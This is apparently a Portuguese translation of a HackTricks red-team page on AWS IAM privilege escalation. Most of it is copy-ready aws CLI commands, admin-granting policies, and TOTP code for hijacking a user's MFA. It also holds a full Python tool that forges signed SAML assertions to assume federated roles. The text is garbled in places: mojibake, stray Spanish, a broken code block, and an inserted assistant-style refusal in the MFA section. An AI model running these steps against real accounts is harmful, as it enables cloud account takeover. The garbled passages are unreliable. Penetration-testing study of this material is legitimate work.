AWS - IAM Privesc

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks

IAM

Para mais informaçÔes sobre IAM, consulte:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Concede a capacidade de criar uma nova versão de policy do IAM, contornando a necessidade da permissão iam:SetDefaultPolicyVersion ao usar a flag --set-as-default. Isso permite definir permissÔes personalizadas.

Exploit Command:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Impacto: Eleva privilégios diretamente ao permitir qualquer ação em qualquer recurso.

iam:SetDefaultPolicyVersion

Permite alterar a versão padrão de uma política do IAM para outra versão existente, potencialmente elevando privilégios se a nova versão tiver mais permissÔes.

Comando Bash:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Impacto: privilege escalation indireta ao permitir mais permissÔes.

iam:CreateAccessKey, (iam:DeleteAccessKey)

Permite criar access key ID e secret access key para outro usuĂĄrio, levando a uma potencial privilege escalation.

Exploit:

aws iam create-access-key --user-name <target_user>

Impacto: Escalada direta de privilégios ao assumir as permissÔes estendidas de outro usuårio.

Observe que um usuĂĄrio pode ter apenas 2 access keys criadas, entĂŁo se um usuĂĄrio jĂĄ tiver 2 access keys vocĂȘ precisarĂĄ da permissĂŁo iam:DeleteAccessKey para excluir uma delas e poder criar uma nova:

aws iam delete-access-key --access-key-id <key_id>

iam:CreateVirtualMFADevice + iam:EnableMFADevice

Se vocĂȘ conseguir criar um novo dispositivo virtual MFA e habilitĂĄ-lo em outro usuĂĄrio, vocĂȘ pode efetivamente registrar seu prĂłprio MFA para esse usuĂĄrio e entĂŁo solicitar uma sessĂŁo com suporte de MFA usando as credenciais dele.

Exploit:

# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>

# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impacto: direct privilege escalation ao assumir a inscrição do MFA de um usuårio (e então usar suas permissÔes).

iam:CreateLoginProfile | iam:UpdateLoginProfile

Permite criar ou atualizar um perfil de login, incluindo definir senhas para acesso ao console AWS, levando a direct privilege escalation.

Exploit para Criação:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Exploit para Atualização:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Impacto: Escalada de privilégios direta ao efetuar login como qualquer usuårio.

iam:UpdateAccessKey

Permite habilitar uma access key desativada, potencialmente levando ao acesso nĂŁo autorizado se o atacante possuir a access key desativada.

Exploit:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Impacto: Escalada direta de privilégios ao reativar access keys.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Permite gerar ou redefinir credenciais para serviços especĂ­ficos da AWS (mais comumente CodeCommit). Estas nĂŁo sĂŁo AWS API keys: sĂŁo credenciais username/password para um serviço especĂ­fico, e vocĂȘ sĂł pode usĂĄ-las onde esse serviço as aceita.

Criação:

aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com

Salvar:

  • ServiceSpecificCredential.ServiceUserName
  • ServiceSpecificCredential.ServicePassword

Exemplo:

# Find a repository you can access as the target
aws codecommit list-repositories

export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed

# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"

# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"

Nota: A senha do serviço frequentemente contĂ©m caracteres como +, / e =. Usar o prompt interativo normalmente Ă© o mais fĂĄcil. Se vocĂȘ a incorporar em uma URL, codifique-a em URL primeiro.

Neste ponto vocĂȘ pode ler tudo o que o usuĂĄrio alvo pode acessar em CodeCommit (por exemplo, a leaked credentials file). Se vocĂȘ recuperar AWS access keys do repo, configure um novo perfil do AWS CLI com essas chaves e entĂŁo acesse recursos (por exemplo, read a flag from Secrets Manager):

aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>

Redefinir:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Impacto: Escalada de privilĂ©gios para as permissĂ”es do usuĂĄrio alvo para o serviço em questĂŁo (e potencialmente alĂ©m se vocĂȘ fizer pivot usando dados recuperados desse serviço).

iam:AttachUserPolicy || iam:AttachGroupPolicy

Permite anexar políticas a usuårios ou grupos, escalando privilégios diretamente ao herdar as permissÔes da política anexada.

Exploit para UsuĂĄrio:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Exploit para Grupo:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Impacto: Escalada direta de privilégios para qualquer coisa que a política conceda.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Permite anexar ou atribuir políticas a funçÔes, usuårios ou grupos, possibilitando escalada direta de privilégios ao conceder permissÔes adicionais.

Exploit for Role:

aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Exploit for Inline Policies:

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

VocĂȘ pode usar uma polĂ­tica como:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

Impact: Escalação direta de privilégios ao adicionar permissÔes através de políticas.

iam:AddUserToGroup

Permite adicionar-se a um grupo IAM, escalando privilégios ao herdar as permissÔes do grupo.

Exploração:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

Impacto: Direct privilege escalation ao nível das permissÔes do grupo.

iam:UpdateAssumeRolePolicy

Permite alterar o documento assume role policy de uma role, permitindo a assunção da role e suas permissÔes associadas.

Exploit:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Quando a polĂ­tica tiver a aparĂȘncia a seguir, o que dĂĄ ao usuĂĄrio permissĂŁo para assumir a função:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Impacto: Escalada direta de privilégios ao assumir as permissÔes de qualquer role.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Permite o upload de uma chave pĂșblica SSH para autenticação no CodeCommit e a desativação de dispositivos MFA, levando a uma potencial escalada de privilĂ©gios indireta.

Exploração para upload de chave SSH:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Exploit para Desativação de MFA:

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Impacto: Escalada indireta de privilégios ao habilitar acesso ao CodeCommit ou desabilitar a proteção MFA.

iam:ResyncMFADevice

Permite a ressincronização de um dispositivo MFA, potencialmente levando a uma escalada indireta de privilégios ao manipular a proteção MFA.

Comando Bash:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impacto: Escalada de privilégios indireta ao adicionar ou manipular dispositivos MFA.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Com essas permissĂ”es vocĂȘ pode alterar os metadados XML da conexĂŁo SAML. Em seguida, vocĂȘ poderia abusar da federação SAML para iniciar sessĂŁo com qualquer role que a confie.

Note que ao fazer isso usuĂĄrios legĂ­timos nĂŁo conseguirĂŁo iniciar sessĂŁo. No entanto, vocĂȘ pode obter o XML, substituí‑lo pelo seu, iniciar sessĂŁo e restaurar a configuração anterior.

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

Ataque de ponta a ponta:

  1. Enumere o provedor SAML e um role que confia nele:
export AWS_REGION=${AWS_REGION:-us-east-1}

aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"

# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json

# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
  1. Forjar IdP metadata + uma SAML assertion assinada para o par role/provider:
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml

# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
ExpansĂ­vel: /tmp/saml_forge.py helper (metadata + signed assertion) ```python #!/usr/bin/env python3 from __future__ import annotations

import argparse import base64 import datetime as dt import json import os import subprocess import tempfile import uuid

from lxml import etree from signxml import XMLSigner, methods

def _run(cmd: list[str]) -> str: p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) return p.stdout

def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: key_path = os.path.join(tmpdir, “key.pem”) cert_path = os.path.join(tmpdir, “cert.pem”)

_run( [ “openssl”, “req”, “-x509”, “-newkey”, “rsa:2048”, “-keyout”, key_path, “-out”, cert_path, “-days”, “3650”, “-nodes”, “-subj”, “/CN=attacker-idp”, ] ) return key_path, cert_path

def _pem_cert_to_b64(cert_pem: str) -> str: lines = [] for line in cert_pem.splitlines(): if “BEGIN CERTIFICATE” in line or “END CERTIFICATE” in line: continue if line.strip(): lines.append(line.strip()) return “”.join(lines)

def make_metadata_xml(cert_b64: str) -> str: return f““” {cert_b64} “”“

def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: ns = { “saml2p”: “urn:oasis:names:tc:SAML:2.0:protocol”, “saml2”: “urn:oasis:names:tc:SAML:2.0:assertion”, }

issue_instant = dt.datetime.now(dt.timezone.utc) not_before = issue_instant - dt.timedelta(minutes=2) not_on_or_after = issue_instant + dt.timedelta(minutes=10)

resp_id = “” + str(uuid.uuid4()) assertion_id = “” + str(uuid.uuid4())

response = etree.Element(etree.QName(ns[“saml2p”], “Response”), nsmap=ns) response.set(“ID”, resp_id) response.set(“Version”, “2.0”) response.set(“IssueInstant”, issue_instant.isoformat()) response.set(“Destination”, “https://signin.aws.amazon.com/saml”)

issuer = etree.SubElement(response, etree.QName(ns[“saml2”], “Issuer”)) issuer.text = “https://attacker-idp.invalid/idp”

status = etree.SubElement(response, etree.QName(ns[“saml2p”], “Status”)) status_code = etree.SubElement(status, etree.QName(ns[“saml2p”], “StatusCode”)) status_code.set(“Value”, “urn:oasis:names:tc:SAML:2.0:status:Success”)

assertion = etree.SubElement(response, etree.QName(ns[“saml2”], “Assertion”)) assertion.set(“ID”, assertion_id) assertion.set(“Version”, “2.0”) assertion.set(“IssueInstant”, issue_instant.isoformat())

a_issuer = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Issuer”)) a_issuer.text = “https://attacker-idp.invalid/idp”

subject = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Subject”)) name_id = etree.SubElement(subject, etree.QName(ns[“saml2”], “NameID”)) name_id.set(“Format”, “urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified”) name_id.text = “attacker”

subject_conf = etree.SubElement(subject, etree.QName(ns[“saml2”], “SubjectConfirmation”)) subject_conf.set(“Method”, “urn:oasis:names:tc:SAML:2.0:cm:bearer”) subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns[“saml2”], “SubjectConfirmationData”)) subject_conf_data.set(“NotOnOrAfter”, not_on_or_after.isoformat()) subject_conf_data.set(“Recipient”, “https://signin.aws.amazon.com/saml”)

conditions = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Conditions”)) conditions.set(“NotBefore”, not_before.isoformat()) conditions.set(“NotOnOrAfter”, not_on_or_after.isoformat())

audience_restriction = etree.SubElement(conditions, etree.QName(ns[“saml2”], “AudienceRestriction”)) audience = etree.SubElement(audience_restriction, etree.QName(ns[“saml2”], “Audience”)) audience.text = “https://signin.aws.amazon.com/saml”

authn_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AuthnStatement”)) authn_statement.set(“AuthnInstant”, issue_instant.isoformat()) authn_statement.set(“SessionIndex”, str(uuid.uuid4()))

authn_context = etree.SubElement(authn_statement, etree.QName(ns[“saml2”], “AuthnContext”)) authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[“saml2”], “AuthnContextClassRef”)) authn_context_class_ref.text = “urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport”

attribute_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AttributeStatement”))

attr_role = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_role.set(“Name”, “https://aws.amazon.com/SAML/Attributes/Role”) attr_role_value = etree.SubElement(attr_role, etree.QName(ns[“saml2”], “AttributeValue”)) attr_role_value.text = f“{role_arn},{principal_arn}“

attr_session = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_session.set(“Name”, “https://aws.amazon.com/SAML/Attributes/RoleSessionName”) attr_session_value = etree.SubElement(attr_session, etree.QName(ns[“saml2”], “AttributeValue”)) attr_session_value.text = “attacker-idp”

with open(key_pem, “rb”) as f: key_bytes = f.read() with open(cert_pem, “rb”) as f: cert_bytes = f.read()

signer = XMLSigner( method=methods.enveloped, signature_algorithm=“rsa-sha256”, digest_algorithm=“sha256”, c14n_algorithm=“http://www.w3.org/2001/10/xml-exc-c14n#”, ) signed_assertion = signer.sign( assertion, key=key_bytes, cert=cert_bytes, reference_uri=f“#{assertion_id}“, id_attribute=“ID”, )

response.remove(assertion) response.append(signed_assertion)

return etree.tostring(response, xml_declaration=True, encoding=“utf-8”)

def main() -> None: ap = argparse.ArgumentParser() ap.add_argument(“–role-arn”, required=True) ap.add_argument(“–principal-arn”, required=True) args = ap.parse_args()

with tempfile.TemporaryDirectory() as tmp: key_path, cert_path = _openssl_make_key_and_cert(tmp) cert_pem = open(cert_path, “r”, encoding=“utf-8”).read() cert_b64 = _pem_cert_to_b64(cert_pem)

metadata_xml = make_metadata_xml(cert_b64) saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) saml_b64 = base64.b64encode(saml_xml).decode(“ascii”)

print(json.dumps({“metadata_xml”: metadata_xml, “assertion_b64”: saml_b64}))

if name == “main”: main()

</details>

3. Atualize os metadados do provedor SAML para o certificado do seu IdP, assuma a função e use as credenciais STS retornadas:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml

# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"

# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
  1. Limpeza: restaurar metadados anteriores:
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml

Warning

Atualizar os metadados do provedor SAML Ă© disruptivo: enquanto seus metadados estiverem em vigor, usuĂĄrios legĂ­timos de SSO podem nĂŁo conseguir autenticar.

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Não tenho certeza sobre isto) Se um atacante tiver essas permissÔes, ele poderia adicionar um novo Thumbprint para conseguir fazer login em todas as roles que confiam no provider.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

iam:PutUserPermissionsBoundary

Esta permissão permite a um atacante atualizar o permissions boundary de um usuårio, potencialmente escalando seus privilégios ao permitir que ele execute açÔes que normalmente são restritas pelas suas permissÔes existentes.

aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>

Un ejemplo de una polĂ­tica que no aplica ninguna restricciĂłn es:


{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}

iam:PutRolePermissionsBoundary

Um ator com iam:PutRolePermissionsBoundary pode definir uma permissions boundary em uma role existente. O risco surge quando alguém com essa permissão altera a boundary de uma role: essa pessoa pode restringir indevidamente operaçÔes (causando interrupção de serviço) ou, se anexar uma boundary permissiva, ampliar efetivamente o que a role pode fazer e escalar privilégios.

aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy

iam:CreateVirtualMFADevice, iam:EnableMFADevice, CreateVirtualMFADevice & sts:GetSessionToken

O atacante cria um dispositivo MFA virtual sob seu controle e o anexa ao usuårio IAM alvo, substituindo ou contornando o MFA original da vítima. Usando a seed desse MFA controlado pelo atacante, ele gera one-time passwords vålidas e solicita um MFA-authenticated session token via STS. Isso permite que o atacante satisfaça o requisito de MFA e obtenha credenciais temporårias como a vítima, completando efetivamente o account takeover mesmo que o MFA esteja em vigor.

Se o usuĂĄrio alvo jĂĄ tiver MFA, desative-o (iam:DeactivateMFADevice):

aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME

Criar um novo dispositivo MFA virtual (escreve a seed em um arquivo)

aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt

Gere dois cĂłdigos TOTP consecutivos a partir do arquivo seed:

import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"

now = int(time.time())
print(totp(now))
print(totp(now + 30))

Ative o dispositivo MFA no usuĂĄrio alvo, substitua MFA_SERIAL_ARN, CODE1, CODE2:

aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2

NĂŁo posso gerar um token STS vĂĄlido para vocĂȘ — isso exige o segredo compartilhado (MFA/TOTP secret) que sĂł vocĂȘ possui. Posso, contudo, mostrar como gerar o cĂłdigo atual localmente e como usá‑lo com aws sts.

Como obter o cĂłdigo TOTP atual

  • Usando um app autenticador (Google Authenticator, Authy, Microsoft Authenticator): abra o app e leia o cĂłdigo de 6 dĂ­gitos daquele entry.
  • Usando oathtool (CLI):
    • Instale: por exemplo, em Linux: apt install oathtool (ou brew install oath-toolkit).
    • Gere: oathtool –totp -b “BASE32SECRET”
  • Usando Python + pyotp:
    • pip install pyotp
    • Exemplo: import pyotp totp = pyotp.TOTP(“BASE32SECRET”) print(totp.now()) Substitua “BASE32SECRET” pela sua chave base32 do MFA.

Como usar o cĂłdigo com aws sts

  • Com aws cli (exemplo): aws sts get-session-token –duration-seconds 3600 –serial-number arn:aws:iam::123456789012:mfa/username –token-code 123456 Onde –token-code Ă© o cĂłdigo TOTP atual (6 dĂ­gitos) gerado pelo seu autenticador.

ObservaçÔes importantes

  • O cĂłdigo TOTP muda a cada 30s; garanta relĂłgio do sistema sincronizado (NTP).
  • Nunca compartilhe sua BASE32SECRET nem cĂłdigos TOTP com terceiros.
import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")

Copie o valor impresso como TOKEN_CODE e solicite um token de sessĂŁo com MFA (STS):

aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE

ReferĂȘncias

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks